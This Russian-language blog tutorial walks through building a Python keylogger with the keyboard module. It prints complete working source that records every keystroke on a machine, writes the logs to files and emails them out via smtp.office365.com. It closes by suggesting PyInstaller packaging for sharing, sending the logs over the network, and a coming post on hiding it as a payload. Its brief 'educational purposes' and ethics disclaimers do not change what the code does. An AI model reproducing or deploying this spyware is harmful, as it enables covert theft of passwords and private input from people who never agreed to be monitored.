Создайте Keylogger Python
Готовы окунуться в мир программирования на Python? В этом уроке мы рассмотрим создание Keylogger
— инструмента наблюдения, предназначенного для отслеживания и записи каждого нажатия клавиш на клавиатуре компьютера.
Важно отметить, что хотя Keylogger
имеют законное применение, например мониторинг производительности сотрудников или родительский контроль, хакеры могут использовать их не по назначению для захвата конфиденциальной информации.
Наша цель — дать вам знания по созданию и анализу Keylogger
в образовательных целях, а также повысить осведомленность об их возможностях и связанных с ними рисках.
Предварительные условия
Прежде чем мы начнем, вам необходимо установить модуль **keyboard**
. Откройте терминал или командную строку и введите:
Перед установкой какой-либо библиотеки установите свой проект в venv (виртуальную среду); это ограничит проблемы с зависимостями.
Сначала создайте папку.
mkdir keylogger
Затем мы перейдем в каталог Keylogger
и создадим виртуальную среду python -m venv myenv
.
Активируйте источник виртуальной среды myenv/bin/activate
, и тогда мы сможем установить зависимости.
$ pip install keyboard
Этот модуль позволяет нам контролировать клавиатуру, перехватывать глобальные события, регистрировать горячие клавиши, имитировать нажатия клавиш и многое другое.
Настройка Keylogger
Проинициализируем необходимые параметры:
import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
SEND_REPORT_EVERY = 60 # in seconds, reporting interval
EMAIL_ADDRESS = "blackbird001@duck.com"
EMAIL_PASSWORD = "your_email_password"
Замените **your_email@example.com**
и **your_email_password**
на свои действительные учетные данные электронной почты.
Теперь мы создадим класс для представления Keylogger
:
class Keylogger:
def __init__(self, interval, report_method="email"):
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
Параметр **interval**
представляет частоту создания отчетов, а **report_method**
указывает, следует ли отправлять журналы по электронной почте или сохранять их в локальный файл.
Прослушивание нажатий клавиш
Мы будем использовать функцию **on_release()**
модуля **keyboard**
для захвата нажатий клавиш:
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
Эта функция обратного вызова вызывается при отпускании клавиши. Он преобразует специальные ключи и добавляет их в глобальную переменную **self.log**
.
Отчеты о нажатиях клавиш
В зависимости от выбранного **report_method**
мы можем сообщать о нажатиях клавиш либо по электронной почте, либо сохранять их в локальный файл:
def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def sendmail(self, email, password, message, verbose=1):
# SMTP server connection and email sending logic
# ...
Метод **report_to_file()**
сохраняет ключевые журналы в локальный файл, а **sendmail()**
отправляет журналы по электронной почте.
Планирование отчетов
Чтобы обеспечить периодическую отчетность, мы будем использовать таймер:
def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
Этот метод вызывается через определенные промежутки времени (**self.interval**)
, чтобы сообщить о накопленных нажатиях клавиш.
Запуск Keylogger
Наконец, мы запускаем Keylogger
с помощью следующего кода:
def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
print(f"{datetime.now()} - Started keylogger")
keyboard.wait()
Этот метод **start()**
записывает время запуска, настраивает Keylogger
и ждет, пока пользователь нажмет CTRL+C
для выхода из программы.
Собираем все вместе
Теперь давайте создадим экземпляр класса **Keylogger**
и запустим Keylogger
:
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Раскомментируйте строку с помощью **report_method="email"**
, если вы предпочитаете получать отчеты по электронной почте.
Чтобы начать, запустите sudo python nameoffile.py
. Если вы запустите это без стороны, вы получите ошибку.
После одобрения я могу контролировать и видеть, что делает пользователь. Круто, правда?
Как только я начинаю печатать, мой Keylogger
, сохраняет нажатия клавиш в файл.
Полный код можно найти здесь.
import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Installation of required module
# $ pip install keyboard
# Parameters
SEND_REPORT_EVERY = 60 # in seconds, reporting interval
EMAIL_ADDRESS = "email@provider.tld"
EMAIL_PASSWORD = "password_here"
class Keylogger:
def __init__(self, interval, report_method="email"):
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
"""
This callback is invoked whenever a keyboard event is occurred
(i.e., when a key is released in this example)
"""
name = event.name
if len(name) > 1:
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# finally, add the key name to our global `self.log` variable
self.log += name
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def prepare_mail(self, message):
"""Utility function to construct a MIMEMultipart from a text
It creates an HTML version as well as a text version
to be sent as an email"""
msg = MIMEMultipart("alternative")
msg["From"] = EMAIL_ADDRESS
msg["To"] = EMAIL_ADDRESS
msg["Subject"] = "Keylogger logs"
# simple paragraph, feel free to edit
html = f"<p>{message}</p>"
text_part = MIMEText(message, "plain")
html_part = MIMEText(html, "html")
msg.attach(text_part)
msg.attach(html_part)
# after making the mail, convert back as a string message
return msg.as_string()
def sendmail(self, email, password, message, verbose=1):
# manages a connection to an SMTP server
# in our case, it's for Microsoft365, Outlook, Hotmail, and live.com
server = smtplib.SMTP(host="smtp.office365.com", port=587)
# connect to the SMTP server as TLS mode (for security)
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message after preparation
server.sendmail(email, email, self.prepare_mail(message))
# terminates the session
server.quit()
if verbose:
print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you don't want to print in the console, comment the below line
print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when the main thread dies)
timer.daemon = True
# start the timer
timer.start()
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()
if __name__ == "__main__":
# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Заключение
Поздравляем! Вы только что создали базовый кейлоггер на Python. Помните, что этические соображения имеют решающее значение, и использование кейлоггеров в системах без надлежащего разрешения строго запрещено.
Расширьте свои знания, изучая дополнительные функции, такие как отправка журналов по сети или использование API, таких как Google Drive, для загрузки журналов.
Если вы планируете поделиться своим Keylogger
, рассмотрите возможность преобразования сценария в исполняемый файл с помощью таких инструментов, как PyInstaller
.
Используйте эти знания ответственно, поскольку они предназначены исключительно для образовательных целей. В нашей следующей статье я покажу вам, как загрузить его в качестве полезного загрузчика в исполняемую программу.
Если вам нравится моя работа и вы хотите помочь мне продолжать публиковать подобный контент, купите мне чашку кофе.
Если этот пост кажется вам интересным, найдите еще больше интересных постов в блоге Learnhub
; мы пишем все технологии, от облачных вычислений до Frontend Dev
, кибербезопасности, искусственного интеллекта и блокчейна.